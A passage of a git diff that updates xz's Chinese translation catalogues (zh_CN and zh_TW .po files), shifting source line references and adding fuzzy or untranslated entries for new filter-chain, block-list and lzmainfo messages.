src/xz/util.c:168 +#: src/xz/util.c:167 #, fuzzy, c-format #| msgid "Value of the option `%s' must be in the range [%, %]" msgid "Value of the option '%s' must be in the range [%, %]" msgstr "选项“%s”的值必须位于 [%, %] 范围内" -#: src/xz/util.c:291 +#: src/xz/util.c:290 msgid "Compressed data cannot be read from a terminal" msgstr "压缩数据不能从终端读取" -#: src/xz/util.c:304 +#: src/xz/util.c:303 msgid "Compressed data cannot be written to a terminal" msgstr "压缩数据不能向终端写入" -#: src/common/tuklib_exit.c:40 +#: src/lzmainfo/lzmainfo.c:33 +#, c-format +msgid "" +"Usage: %s [--help] [--version] [FILE]...\n" +"Show information stored in the .lzma file header" +msgstr "" + +#: src/lzmainfo/lzmainfo.c:109 +#, fuzzy +#| msgid "%s: Too small to be a valid .xz file" +msgid "File is too small to be a .lzma file" +msgstr "%s:过小而不是有效的 .xz 文件" + +#: src/lzmainfo/lzmainfo.c:122 +msgid "Not a .lzma file" +msgstr "" + +#: src/common/tuklib_exit.c:39 msgid "Writing to standard output failed" msgstr "写入标准输出失败" -#: src/common/tuklib_exit.c:43 +#: src/common/tuklib_exit.c:42 msgid "Unknown error" msgstr "未知错误" +#~ msgid "Failed to enable the sandbox" +#~ msgstr "沙盒启用失败" + #~ msgid "The selected match finder requires at least nice=%" #~ msgstr "所选中的匹配搜索器(match finder)至少需要 nice=%" diff --git a/po/zh_TW.gmo b/po/zh_TW.gmo new file mode 100644 index 00000000..a54e682b Binary files /dev/null and b/po/zh_TW.gmo differ diff --git a/po/zh_TW.po b/po/zh_TW.po index 6c7f8825..8ac97f15 100644 --- a/po/zh_TW.po +++ b/po/zh_TW.po @@ -6,7 +6,7 @@ msgid "" msgstr "" "Project-Id-Version: xz 5.4.3\n" "Report-Msgid-Bugs-To: xz@tukaani.org\n" -"POT-Creation-Date: 2023-05-04 22:32+0800\n" +"POT-Creation-Date: 2024-02-24 16:31+0800\n" "PO-Revision-Date: 2023-07-08 23:05+0800\n" "Last-Translator: Yi-Jyun Pan \n" "Language-Team: Chinese (traditional) \n" @@ -29,121 +29,171 @@ msgstr "%s:傳入 --block-list 的參數無效" msgid "%s: Too many arguments to --block-list" msgstr "%s:傳入 --block-list 的參數過多" -#: src/xz/args.c:116 +#: src/xz/args.c:124 +#, c-format +msgid "In --block-list, block size is missing after filter chain number '%c:'" +msgstr "" + +#: src/xz/args.c:150 msgid "0 can only be used as the last element in --block-list" msgstr "0 只能作為 --block-list 的最後一個元素" -#: src/xz/args.c:451 +#: src/xz/args.c:539 #, c-format msgid "%s: Unknown file format type" msgstr "%s:未知檔案格式類型" -#: src/xz/args.c:474 src/xz/args.c:482 +#: src/xz/args.c:562 src/xz/args.c:570 #, c-format msgid "%s: Unsupported integrity check type" msgstr "%s:不支援的完整性檢查類型" -#: src/xz/args.c:518 -msgid "Only one file can be specified with `--files' or `--files0'." +#: src/xz/args.c:606 +#, fuzzy +#| msgid "Only one file can be specified with `--files' or `--files0'." +msgid "Only one file can be specified with '--files' or '--files0'." msgstr "「--files」或「--files0」只能指定一個檔案。" -#: src/xz/args.c:586 +#. TRANSLATORS: This is a translatable +#. string because French needs a space +#. before the colon ("%s : %s"). +#: src/xz/args.c:621 src/xz/coder.c:1058 src/xz/coder.c:1074 +#: src/xz/coder.c:1374 src/xz/coder.c:1377 src/xz/file_io.c:518 +#: src/xz/file_io.c:592 src/xz/file_io.c:682 src/xz/file_io.c:854 +#: src/xz/list.c:368 src/xz/list.c:414 src/xz/list.c:476 src/xz/list.c:590 +#: src/xz/list.c:599 +#, fuzzy, c-format +#| msgid "%s: " +msgid "%s: %s" +msgstr "%s:" + +#: src/xz/args.c:677 #, c-format msgid "The environment variable %s contains too many arguments" msgstr "%s 環境變數包含過多參數" -#: src/xz/args.c:688 +#: src/xz/args.c:779 msgid "Compression support was disabled at build time" msgstr "已在編譯時停用壓縮支援" -#: src/xz/args.c:695 +#: src/xz/args.c:786 msgid "Decompression support was disabled at build time" msgstr "已在編譯時停用解壓縮支援" -#: src/xz/args.c:701 +#: src/xz/args.c:792 msgid "Compression of lzip files (.lz) is not supported" msgstr "不支援壓縮為 lzip 檔案 (.lz)" -#: src/xz/args.c:732 +#: src/xz/args.c:814 +msgid "--block-list is ignored unless compressing to the .xz format" +msgstr "" + +#: src/xz/args.c:827 src/xz/args.c:836 msgid "With --format=raw, --suffix=.SUF is required unless writing to stdout" msgstr "搭配 --format=raw 時,除非寫入標準輸出,否則需要傳入 --suffix=.SUF" -#: src/xz/coder.c:115 +#: src/xz/coder.c:140 msgid "Maximum number of filters is four" msgstr "最多只能指定 4 個篩選器" -#: src/xz/coder.c:134 +#: src/xz/coder.c:178 +#, c-format +msgid "Error in --filters%s=FILTERS option:" +msgstr "" + +#: src/xz/coder.c:228 msgid "Memory usage limit is too low for the given filter setup." msgstr "記憶體用量限制過低,不足以設定指定的篩選器。" -#: src/xz/coder.c:169 +#: src/xz/coder.c:243 +#, c-format +msgid "filter chain %u used by --block-list but not specified with --filters%u=" +msgstr "" + +#: src/xz/coder.c:374 msgid "Using a preset in raw mode is discouraged." msgstr "不建議在 Raw 模式使用設定檔。" -#: src/xz/coder.c:171 +#: src/xz/coder.c:376 msgid "The exact options of the presets may vary between software versions." msgstr "設定檔的選項可能因軟體版本而有異。" -#: src/xz/coder.c:194 +#: src/xz/coder.c:402 msgid "The .lzma format supports only the LZMA1 filter" msgstr ".lzma 格式僅支援 LZMA1 篩選器" -#: src/xz/coder.c:202 +#: src/xz/coder.c:410 msgid "LZMA1 cannot be used with the .xz format" msgstr "LZMA1 不能與 .xz 格式一同使用" -#: src/xz/coder.c:219 -msgid "The filter chain is incompatible with --flush-timeout" +#: src/xz/coder.c:434 +#, fuzzy, c-format +#| msgid "The filter chain is incompatible with --flush-timeout" +msgid "Filter chain %u is incompatible with --flush-timeout" msgstr "篩選鏈不相容 --flush-timeout" -#: src/xz/coder.c:225 +#: src/xz/coder.c:443 msgid "Switching to single-threaded mode due to --flush-timeout" msgstr "因指定 --flush-timeout,因此切換到單執行緒模式" -#: src/xz/coder.c:249 +#: src/xz/coder.c:484 +#, fuzzy, c-format +#| msgid "Unsupported options" +msgid "Unsupported options in filter chain %u" +msgstr "不支援的選項" + +#: src/xz/coder.c:515 #, c-format msgid "Using up to % threads." msgstr "使用最多 % 個執行緒。" -#: src/xz/coder.c:265 +#: src/xz/coder.c:531 msgid "Unsupported filter chain or filter options" msgstr "不支援的篩選鏈或篩選器選項" -#: src/xz/coder.c:277 +#: src/xz/coder.c:552 #, c-format msgid "Decompression will need %s MiB of memory." msgstr "解壓縮將需要 %s MiB 的記憶體。" -#: src/xz/coder.c:309 +#: src/xz/coder.c:584 #, c-format msgid "Reduced the number of threads from %s to %s to not exceed the memory usage limit of %s MiB" msgstr "已將執行緒數量從 %s 個減少至 %s 個,以不超過記憶體用量的 %s MiB 限制" -#: src/xz/coder.c:329 +#: src/xz/coder.c:604 #, c-format msgid "Reduced the number of threads from %s to one. The automatic memory usage limit of %s MiB is still being exceeded. %s MiB of memory is required. Continuing anyway." msgstr "已將執行緒數量從 %s 減少至一個,但依然超出 %s MiB 的自動記憶體用量限制。需要 %s MiB 的記憶體。依然繼續執行。" -#: src/xz/coder.c:356 +#: src/xz/coder.c:631 #, c-format msgid "Switching to single-threaded mode to not exceed the memory usage limit of %s MiB" msgstr "正在切換至單執行緒模式,以免超出 %s MiB 的記憶體用量限制" -#: src/xz/coder.c:411 +#: src/xz/coder.c:756 #, c-format msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" msgstr "已將 LZMA%c 的字典大小從 %s MiB 調整至 %s MiB,以不超過記憶體用量的 %s MiB 限制" -#: src/xz/file_io.c:110 src/xz/file_io.c:118 +#: src/xz/coder.c:766 +#, fuzzy, c-format +#| msgid "Adjusted LZMA%c dictionary size from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgid "Adjusted LZMA%c dictionary size for --filters%u from %s MiB to %s MiB to not exceed the memory usage limit of %s MiB" +msgstr "已將 LZMA%c 的字典大小從 %s MiB 調整至 %s MiB,以不超過記憶體用量的 %s MiB 限制" + +#: src/xz/coder.c:1140 +#, fuzzy, c-format +#| msgid "Error creating a pipe: %s" +msgid "Error changing to filter chain %u: %s" +msgstr "建立管線時發生錯誤:%s" + +#: src/xz/file_io.c:122 src/xz/file_io.c:130 #, c-format msgid "Error creating a pipe: %s" msgstr "建立管線時發生錯誤:%s" -#: src/xz/file_io.c:252 -msgid "Failed to enable the sandbox" -msgstr "無法啟用沙盒" - -#: src/xz/file_io.c:294 +#: src/xz/file_io.c:207 #, c-format msgid "%s: poll() failed: %s" msgstr "%s:poll() 失敗:%s" @@ -158,252 +208,252 @@ msgstr "%s:poll() 失敗:%s" #. it is possible that the user has put a new file in place #. of the original file, and in that case it obviously #. shouldn't be removed. -#: src/xz/file_io.c:361 +#: src/xz/file_io.c:274 #, c-format msgid "%s: File seems to have been moved, not removing" msgstr "%s:檔案似乎已經遷移,不移除" -#: src/xz/file_io.c:368 src/xz/file_io.c:924 +#: src/xz/file_io.c:281 src/xz/file_io.c:838 #, c-format msgid "%s: Cannot remove: %s" msgstr "%s:無法移除:%s" -#: src/xz/file_io.c:394 +#: src/xz/file_io.c:307 #, c-format msgid "%s: Cannot set the file owner: %s" msgstr "%s:無法設定檔案所有者:%s" -#: src/xz/file_io.c:407 +#: src/xz/file_io.c:320 #, c-format msgid "%s: Cannot set the file group: %s" msgstr "%s:無法設定檔案群組:%s" -#: src/xz/file_io.c:426 +#: src/xz/file_io.c:339 #, c-format msgid "%s: Cannot set the file permissions: %s" msgstr "%s:無法設定檔案權限:%s" -#: src/xz/file_io.c:552 +#: src/xz/file_io.c:465 #, c-format msgid "Error getting the file status flags from standard input: %s" msgstr "從標準輸入取得檔案狀態旗標時發生錯誤:%s" -#: src/xz/file_io.c:610 src/xz/file_io.c:672 +#: src/xz/file_io.c:523 src/xz/file_io.c:585 #, c-format msgid "%s: Is a symbolic link, skipping" msgstr "%s:是個符號連結,跳過" -#: src/xz/file_io.c:701 +#: src/xz/file_io.c:614 #, c-format msgid "%s: Is a directory, skipping" msgstr "%s:是個目錄,跳過" -#: src/xz/file_io.c:707 +#: src/xz/file_io.c:620 #, c-format msgid "%s: Not a regular file, skipping" msgstr "%s:不是一般檔案,跳過" -#: src/xz/file_io.c:724 +#: src/xz/file_io.c:637 #, c-format msgid "%s: File has setuid or setgid bit set, skipping" msgstr "%s:檔案已設定 setuid 或 setgid 位元,跳過" -#: src/xz/file_io.c:731 +#: src/xz/file_io.c:644 #, c-format msgid "%s: File has sticky bit set, skipping" msgstr "%s:檔案已設定黏性位元(sticky bit),跳過" -#: src/xz/file_io.c:738 +#: src/xz/file_io.c:651 #, c-format msgid "%s: Input file has more than one hard link, skipping" msgstr "%s:輸入檔有超過一個實際連結 (hard link),跳過" -#: src/xz/file_io.c:780 +#: src/xz/file_io.c:693 msgid "Empty filename, skipping" msgstr "空檔名,跳過" -#: src/xz/file_io.c:834 +#: src/xz/file_io.c:748 #, c-format msgid "Error restoring the status flags to standard input: %s" msgstr "將狀態旗標還原到標準輸入時發生錯誤:%s" -#: src/xz/file_io.c:882 +#: src/xz/file_io.c:796 #, c-format msgid "Error getting the file status flags from standard output: %s" msgstr "從標準輸出取得檔案狀態旗標時發生錯誤:%s" -#: src/xz/file_io.c:1060 +#: src/xz/file_io.c:995 #, c-format msgid "Error restoring the O_APPEND flag to standard output: %s" msgstr "將 O_APPEND 旗標還原到標準輸出時發生錯誤:%s" -#: src/xz/file_io.c:1072 +#: src/xz/file_io.c:1007 #, c-format msgid "%s: Closing the file failed: %s" msgstr "%s:關閉檔案失敗:%s" -#: src/xz/file_io.c:1108 src/xz/file_io.c:1371 +#: src/xz/file_io.c:1043 src/xz/file_io.c:1305 #, c-format msgid "%s: Seeking failed when trying to create a sparse file: %s" msgstr "%s:嘗試建立疏鬆檔案時發生搜尋失敗:%s" -#: src/xz/file_io.c:1209 +#: src/xz/file_io.c:1143 #, c-format msgid "%s: Read error: %s" msgstr "%s:讀取時發生錯誤:%s" -#: src/xz/file_io.c:1239 +#: src/xz/file_io.c:1173 #, c-format msgid "%s: Error seeking the file: %s" msgstr "%s:搜尋檔案時發生錯誤:%s" -#: src/xz/file_io.c:1263 +#: src/xz/file_io.c:1197 #, c-format msgid "%s: Unexpected end of file" msgstr "%s:非期望的檔案結尾" -#: src/xz/file_io.c:1322 +#: src/xz/file_io.c:1256 #, c-format msgid "%s: Write error: %s" msgstr "%s:寫入時發生錯誤:%s" -#: src/xz/hardware.c:238 +#: src/xz/hardware.c:237 msgid "Disabled" msgstr "已停用" -#: src/xz/hardware.c:269 +#: src/xz/hardware.c:268 msgid "Amount of physical memory (RAM):" msgstr "實體記憶體 (RAM) 數量:" -#: src/xz/hardware.c:270 +#: src/xz/hardware.c:269 msgid "Number of processor threads:" msgstr "處理器執行緒的數量:" -#: src/xz/hardware.c:271 +#: src/xz/hardware.c:270 msgid "Compression:" msgstr "壓縮:" -#: src/xz/hardware.c:272 +#: src/xz/hardware.c:271 msgid "Decompression:" msgstr "解壓縮:" -#: src/xz/hardware.c:273 +#: src/xz/hardware.c:272 msgid "Multi-threaded decompression:" msgstr "多執行緒解壓縮:" -#: src/xz/hardware.c:274 +#: src/xz/hardware.c:273 msgid "Default for -T0:" msgstr "-T0 的預設值:" -#: src/xz/hardware.c:292 +#: src/xz/hardware.c:291 msgid "Hardware information:" msgstr "硬體資訊:" -#: src/xz/hardware.c:299 +#: src/xz/hardware.c:298 msgid "Memory usage limits:" msgstr "記憶體用量上限:" -#: src/xz/list.c:68 +#: src/xz/list.c:67 msgid "Streams:" msgstr "串流:" -#: src/xz/list.c:69 +#: src/xz/list.c:68 msgid "Blocks:" msgstr "區塊:" -#: src/xz/list.c:70 +#: src/xz/list.c:69 msgid "Compressed size:" msgstr "壓縮後大小:" -#: src/xz/list.c:71 +#: src/xz/list.c:70 msgid "Uncompressed size:" msgstr "壓縮前大小:" -#: src/xz/list.c:72 +#: src/xz/list.c:71 msgid "Ratio:" msgstr "壓縮比:" -#: src/xz/list.c:73 +#: src/xz/list.c:72 msgid "Check:" msgstr "檢查:" -#: src/xz/list.c:74 +#: src/xz/list.c:73 msgid "Stream Padding:" msgstr "串流填充:" -#: src/xz/list.c:75 +#: src/xz/list.c:74 msgid "Memory needed:" msgstr "所需記憶體:" -#: src/xz/list.c:76 +#: src/xz/list.c:75 msgid "Sizes in headers:" msgstr "檔頭中標示大小:" -#: src/xz/list.c:79 +#: src/xz/list.c:78 msgid "Number of files:" msgstr "檔案數:" -#: src/xz/list.c:122 +#: src/xz/list.c:121 msgid "Stream" msgstr "串流" -#: src/xz/list.c:123 +#: src/xz/list.c:122 msgid "Block" msgstr "區塊" -#: src/xz/list.c:124 +#: src/xz/list.c:123 msgid "Blocks" msgstr "區塊" -#: src/xz/list.c:125 +#: src/xz/list.c:124 msgid "CompOffset" msgstr "壓縮偏移" -#: src/xz/list.c:126 +#: src/xz/list.c:125 msgid "UncompOffset" msgstr "未壓縮偏移" -#: src/xz/list.c:127 +#: src/xz/list.c:126 msgid "CompSize" msgstr "壓縮大小" -#: src/xz/list.c:128 +#: src/xz/list.c:127 msgid "UncompSize" msgstr "未壓縮大小" -#: src/xz/list.c:129 +#: src/xz/list.c:128 msgid "TotalSize" msgstr "總計大小" -#: src/xz/list.c:130 +#: src/xz/list.c:129 msgid "Ratio" msgstr "比率" -#: src/xz/list.c:131 +#: src/xz/list.c:130 msgid "Check" msgstr "檢查" -#: src/xz/list.c:132 +#: src/xz/list.c:131 msgid "CheckVal" msgstr "檢查值" -#: src/xz/list.c:133 +#: src/xz/list.c:132 msgid "Padding" msgstr "填充" -#: src/xz/list.c:134 +#: src/xz/list.c:133 msgid "Header" msgstr "檔頭" -#: src/xz/list.c:135 +#: src/xz/list.c:134 msgid "Flags" msgstr "旗標" -#: src/xz/list.c:136 +#: src/xz/list.c:135 msgid "MemUsage" msgstr "Mem用量" -#: src/xz/list.c:137 +#: src/xz/list.c:136 msgid "Filters" msgstr "篩選器" @@ -411,7 +461,7 @@ msgstr "篩選器" #. This string is used in tables. In older xz version this #. string was limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:169 +#: src/xz/list.c:168 msgid "None" msgstr "無" @@ -419,60 +469,60 @@ msgstr "無" #. but the Check ID is known (here 2). In older xz version these #. strings were limited to ten columns in a fixed-width font, but #. nowadays there is no strict length restriction anymore. -#: src/xz/list.c:175 +#: src/xz/list.c:174 msgid "Unknown-2" msgstr "未知-2" -#: src/xz/list.c:176 +#: src/xz/list.c:175 msgid "Unknown-3" msgstr "未知-3" -#: src/xz/list.c:178 +#: src/xz/list.c:177 msgid "Unknown-5" msgstr "未知-5" -#: src/xz/list.c:179 +#: src/xz/list.c:178 msgid "Unknown-6" msgstr "未知-6" -#: src/xz/list.c:180 +#: src/xz/list.c:179 msgid "Unknown-7" msgstr "未知-7" -#: src/xz/list.c:181 +#: src/xz/list.c:180 msgid "Unknown-8" msgstr "未知-8" -#: src/xz/list.c:182 +#: src/xz/list.c:181 msgid "Unknown-9" msgstr "未知-9" -#: src/xz/list.c:184 +#: src/xz/list.c:183 msgid "Unknown-11" msgstr "未知-11" -#: src/xz/list.c:185 +#: src/xz/list.c:184 msgid "Unknown-12" msgstr "未知-12" -#: src/xz/list.c:186 +#: src/xz/list.c:185 msgid "Unknown-13" msgstr "未知-13" -#: src/xz/list.c:187 +#: src/xz/list.c:186 msgid "Unknown-14" msgstr "未知-14" -#: src/xz/list.c:188 +#: src/xz/list.c:187 msgid "Unknown-15" msgstr "未知-15" -#: src/xz/list.c:351 +#: src/xz/list.c:350 #, c-format msgid "%s: File is empty" msgstr "%s:檔案是空的" -#: src/xz/list.c:356 +#: src/xz/list.c:355 #, c-format msgid "%s: Too small to be a valid .xz file" msgstr "%s:因過小而不認為是個有效 .xz 檔" @@ -481,40 +531,44 @@ msgstr "%s:因過小而不認為是個有效 .xz 檔" #. to Ratio, the columns are right aligned. Check and Filename #. are left aligned. If you need longer words, it's OK to #. use two lines here. Test with "xz -l foo.xz". -#: src/xz/list.c:730 +#: src/xz/list.c:740 msgid "Strms Blocks Compressed Uncompressed Ratio Check Filename" msgstr " 串流 區塊 已壓縮 未壓縮 比例 檢驗碼 檔名" -#: src/xz/list.c:1025 src/xz/list.c:1203 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "Yes" msgstr "是" -#: src/xz/list.c:1025 src/xz/list.c:1203 +#: src/xz/list.c:1035 src/xz/list.c:1213 msgid "No" msgstr "否" -#: src/xz/list.c:1027 src/xz/list.c:1205 +#: src/xz/list.c:1037 src/xz/list.c:1215 #, c-format msgid " Minimum XZ Utils version: %s\n" msgstr " 最小 XZ 工具程式版本: %s\n" #. TRANSLATORS: %s is an integer. Only the plural form of this #. message is used (e.g. "2 files"). Test with "xz -l foo.xz bar.xz". -#: src/xz/list.c:1178 +#: src/xz/list.c:1188 #, c-format msgid "%s file\n" msgid_plural "%s files\n" msgstr[0] "%s 個檔案\n" -#: src/xz/list.c:1191 +#: src/xz/list.c:1201 msgid "Totals:" msgstr "總計:" -#: src/xz/list.c:1269 +#: src/xz/list.c:1284 msgid "--list works only on .xz files (--format=xz or --format=auto)" msgstr "--list 只能在 .xz 檔使用(--format=xz 或 --format=auto)" -#: src/xz/list.c:1275 +#: src/xz/list.c:1289 +msgid "Try 'lzmainfo' with .lzma files." +msgstr "" + +#: src/xz/list.c:1297 msgid "--list does not support reading from standard input" msgstr "--list 不支援從標準輸入讀取" @@ -529,15 +583,16 @@ msgid "%s: Unexpected end of input when reading filenames" msgstr "%s:讀取檔名時遇到非預期的輸入結尾" #: src/xz/main.c:120 -#, c-format -msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +#, fuzzy, c-format +#| msgid "%s: Null character found when reading filenames; maybe you meant to use `--files0' instead of `--files'?" +msgid "%s: Null character found when reading filenames; maybe you meant to use '--files0' instead of '--files'?" msgstr "%s:讀取檔名時發現空字元;或許您想使用「--files0」而非「--files」?" -#: src/xz/main.c:188 +#: src/xz/main.c:191 msgid "Compression and decompression with --robot are not supported yet." msgstr "尚未支援搭配 --robot 壓縮和解壓縮。" -#: src/xz/main.c:266 +#: src/xz/main.c:289 msgid "Cannot read data from standard input when reading filenames from standard input" msgstr "從標準輸入讀取檔名時,無法從標準輸入讀取資料" @@ -545,68 +600,69 @@ msgstr "從標準輸入讀取檔名時,無法從標準輸入讀取資料" #. of the line in messages. Usually it becomes "xz: ". #. This is a translatable string because French needs #. a space before a colon. -#: src/xz/message.c:725 +#: src/xz/message.c:651 src/xz/message.c:706 #, c-format msgid "%s: " msgstr "%s:" -#: src/xz/message.c:797 src/xz/message.c:856 +#: src/xz/message.c:778 src/xz/message.c:837 src/lzmainfo/lzmainfo.c:131 msgid "Internal error (bug)" msgstr "內部錯誤(臭蟲)" -#: src/xz/message.c:804 +#: src/xz/message.c:785 msgid "Cannot establish signal handlers" msgstr "無法確立信號處理器" -#: src/xz/message.c:813 +#: src/xz/message.c:794 msgid "No integrity check; not verifying file integrity" msgstr "沒有完整性檢查;不驗證檔案完整性" -#: src/xz/message.c:816 +#: src/xz/message.c:797 msgid "Unsupported type of integrity check; not verifying file integrity" msgstr "未知完整性檢查類型;不驗證檔案完整性" -#: src/xz/message.c:823 +#: src/xz/message.c:804 msgid "Memory usage limit reached" msgstr "達到記憶體用量上限" -#: src/xz/message.c:826 +#: src/xz/message.c:807 msgid "File format not recognized" msgstr "無法識別檔案格式" -#: src/xz/message.c:829 +#: src/xz/message.c:810 msgid "Unsupported options" msgstr "不支援的選項" -#: src/xz/message.c:832 +#: src/xz/message.c:813 msgid "Compressed data is corrupt" msgstr "壓縮資料是損壞的" -#: src/xz/message.c:835 +#: src/xz/message.c:816 msgid "Unexpected end of input" msgstr "遇到非預期輸入結尾" -#: src/xz/message.c:877 +#: src/xz/message.c:858 #, c-format msgid "%s MiB of memory is required. The limiter is disabled." msgstr "需要 %s MiB 的記憶體。已停用記憶體限制器。" -#: src/xz/message.c:905 +#: src/xz/message.c:886 #, c-format msgid "%s MiB of memory is required. The limit is %s." msgstr "需要 %s MiB 的記憶體。記憶體限制為 %s。" -#: src/xz/message.c:924 +#: src/xz/message.c:905 #, c-format msgid "%s: Filter chain: %s\n" msgstr "%s:篩選鏈:%s\n" -#: src/xz/message.c:935 -#, c-format -msgid "Try `%s --help' for more information." +#: src/xz/message.c:916 +#, fuzzy, c-format +#| msgid "Try `%s --help' for more information." +msgid "Try '%s --help' for more information." msgstr "嘗試「%s --help」取得更多資訊。" -#: src/xz/message.c:961 +#: src/xz/message.c:942 #, c-format msgid "" "Usage: %s [OPTION]... [FILE]...\n" @@ -617,15 +673,15 @@ msgstr "" "用 .xz 格式壓縮,或解壓縮 .xz 格式中的 <檔案>。\n" "\n" -#: src/xz/message.c:968 +#: src/xz/message.c:949 msgid "Mandatory arguments to long options are mandatory for short options too.\n" msgstr "長選項的必填參數,對短選項也是必填。\n" -#: src/xz/message.c:972 +#: src/xz/message.c:953 msgid " Operation mode:\n" msgstr " 操作模式:\n" -#: src/xz/message.c:975 +#: src/xz/message.c:956 msgid "" " -z, --compress force compression\n" " -d, --decompress force decompression\n" @@ -637,7 +693,7 @@ msgstr "" " -t, --test 測試壓縮檔完整性\n" " -l, --list 列出 .xz 檔的資訊" -#: src/xz/message.c:981 +#: src/xz/message.c:962 msgid "" "\n" " Operation modifiers:\n" @@ -645,7 +701,7 @@ msgstr "" "\n" " 操作修飾詞:\n" -#: src/xz/message.c:984 +#: src/xz/message.c:965 msgid "" " -k, --keep keep (don't delete) input files\n" " -f, --force force overwrite of output file and (de)compress links\n" @@ -655,7 +711,7 @@ msgstr "" " -f, --force 強制覆寫輸出檔並(解)壓縮連結\n" " -c, --stdout 寫入標準輸出並不刪除輸入檔" -#: src/xz/message.c:993 +#: src/xz/message.c:974 msgid "" " --single-stream decompress only the first stream, and silently\n" " ignore possible remaining input data" @@ -663,10 +719,18 @@ msgstr "" " --single-stream 僅解壓縮第一個串流,再\n" " 安靜地忽略可能剩餘的輸入檔" -#: src/xz/message.c:996 +#: src/xz/message.c:977 +#, fuzzy +#| msgid "" +#| " --no-sparse do not create sparse files when decompressing\n" +#| " -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +#| " --files[=FILE] read filenames to process from FILE; if FILE is\n" +#| " omitted, filenames are read from the standard input;\n" +#| " filenames must be terminated with the newline character\n" +#| " --files0[=FILE] like --files but use the null character as terminator" msgid "" " --no-sparse do not create sparse files when decompressing\n" -" -S, --suffix=.SUF use the suffix `.SUF' on compressed files\n" +" -S, --suffix=.SUF use the suffix '.SUF' on compressed files\n" " --files[=FILE] read filenames to process from FILE; if FILE is\n" " omitted, filenames are read from the standard input;\n" " filenames must be terminated with the newline character\n" @@ -678,7 +742,7 @@ msgstr "" " 則從標準輸入讀取檔名;檔名必須以換行字元作為結尾\n" " --files0[=檔案] 類似 --files 但是以 null 空字元作結尾" -#: src/xz/message.c:1005 +#: src/xz/message.c:986 msgid "" "\n" " Basic file format and compression options:\n" @@ -686,23 +750,29 @@ msgstr "" "\n" " 基本檔案格式與壓縮選項:\n" -#: src/xz/message.c:1007 +#: src/xz/message.c:988 +#, fuzzy +#| msgid "" +#| " -F, --format=FMT file format to encode or decode; possible values are\n" +#| " `auto' (default), `xz', `lzma', `lzip', and `raw'\n" +#| " -C, --check=CHECK integrity check type: `none' (use with caution),\n" +#| " `crc32', `crc64' (default), or `sha256'" msgid "" " -F, --format=FMT file format to encode or decode; possible values are\n" -" `auto' (default), `xz', `lzma', `lzip', and `raw'\n" -" -C, --check=CHECK integrity check type: `none' (use with caution),\n" -" `crc32', `crc64' (default), or `sha256'" +" 'auto' (default), 'xz', 'lzma', 'lzip', and 'raw'\n" +" -C, --check=CHECK integrity check type: 'none' (use with caution),\n" +" 'crc32', 'crc64' (default), or 'sha256'" msgstr "" " -F, --format=格式 用於編碼或解碼的檔案格式;可用的值有:\n" " “auto”(預設)、“xz”、“lzma”、“lzip” 及 “raw”\n" " -C, --check=檢查碼 完整性檢查類型:“none”(謹慎使用)、“crc32”、\n" " “crc64”(預設值)或“sha256”" -#: src/xz/message.c:1012 +#: src/xz/message.c:993 msgid " --ignore-check don't verify the integrity check when decompressing" msgstr " --ignore-check 不在解壓縮時驗證完整性" -#: src/xz/message.c:1016 +#: src/xz/message.c:997 msgid "" " -0 ... -9 compression preset; default is 6; take compressor *and*\n" " decompressor memory usage into account before using 7-9!" @@ -710,7 +780,7 @@ msgstr "" " -0 ... -9 壓縮設定檔;預設值為 6;使用 7-9 前請考慮\n" " 壓縮和解壓縮所使用的記憶體!" -#: src/xz/message.c:1020 +#: src/xz/message.c:1001 msgid "" " -e, --extreme try to improve compression ratio by using more CPU time;\n" " does not affect decompressor memory requirements" @@ -718,15 +788,19 @@ msgstr "" " -e, --extreme 使用更多 CPU 時間以嘗試改善壓縮比;\n" " 不影響解壓縮器的記憶體需求" -#: src/xz/message.c:1024 +#: src/xz/message.c:1005 +#, fuzzy +#| msgid "" +#| " -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" +#| " to use as many threads as there are processor cores" msgid "" -" -T, --threads=NUM use at most NUM threads; the default is 1; set to 0\n" -" to use as many threads as there are processor cores" +" -T, --threads=NUM use at most NUM threads; the default is 0 which uses\n" +" as many threads as there are processor cores" msgstr "" " -T, --threads=NUM 使用最多 NUM 個執行緒;預設為 1;設成 0 則使用所有的\n" " 處理機核心" -#: src/xz/message.c:1029 +#: src/xz/message.c:1010 msgid "" " --block-size=SIZE\n" " start a new .xz block after every SIZE bytes of input;\n" @@ -736,17 +810,24 @@ msgstr "" " 輸入每 SIZE 位元組後,開始一個新 .xz 區塊;\n" " 使用此功能以設定多執行緒壓縮的區塊大小" -#: src/xz/message.c:1033 +#: src/xz/message.c:1014 +#, fuzzy +#| msgid "" +#| " --block-list=SIZES\n" +#| " start a new .xz block after the given comma-separated\n" +#| " intervals of uncompressed data" msgid "" -" --block-list=SIZES\n" +" --block-list=BLOCKS\n" " start a new .xz block after the given comma-separated\n" -" intervals of uncompressed data" +" intervals of uncompressed data; optionally, specify a\n" +" filter chain number (0-9) followed by a ':' before the\n" +" uncompressed data size" msgstr "" " --block-list=SIZES\n" " 在指定以逗號隔開的未壓縮資料間隔之後\n" " 開始新的 .xz 區塊" -#: src/xz/message.c:1037 +#: src/xz/message.c:1020 msgid "" " --flush-timeout=TIMEOUT\n" " when compressing, if more than TIMEOUT milliseconds has\n" @@ -757,7 +838,7 @@ msgstr "" " 壓縮時,倘若繼上次排清 (flush) 已經超過 TIMEOUT 毫秒\n" " 而且讀入更多輸入會阻塞,則所有待排清的資料都將排清" -#: src/xz/message.c:1043 +#: src/xz/message.c:1026 #, no-c-format msgid "" " --memlimit-compress=LIMIT\n" @@ -776,7 +857,7 @@ msgstr "" " 用量上限。LIMIT 得是位元組、記憶體百分比 (%),或 0\n" " (預設值)" -#: src/xz/message.c:1052 +#: src/xz/message.c:1035 msgid "" " --no-adjust if compression settings exceed the memory usage limit,\n" " give an error instead of adjusting the settings downwards" @@ -784,7 +865,7 @@ msgstr "" " --no-adjust 若壓縮設定超過記憶體用量上限,請給出\n" " 錯誤而非下調設定" -#: src/xz/message.c:1058 +#: src/xz/message.c:1041 msgid "" "\n" " Custom filter chain for compression (alternative for using presets):" @@ -792,6 +873,26 @@ msgstr "" "\n" " 自訂壓縮篩選鏈(使用設定檔時選用):" +#: src/xz/message.c:1044 +msgid "" +"\n" +" --filters=FILTERS set the filter chain using the 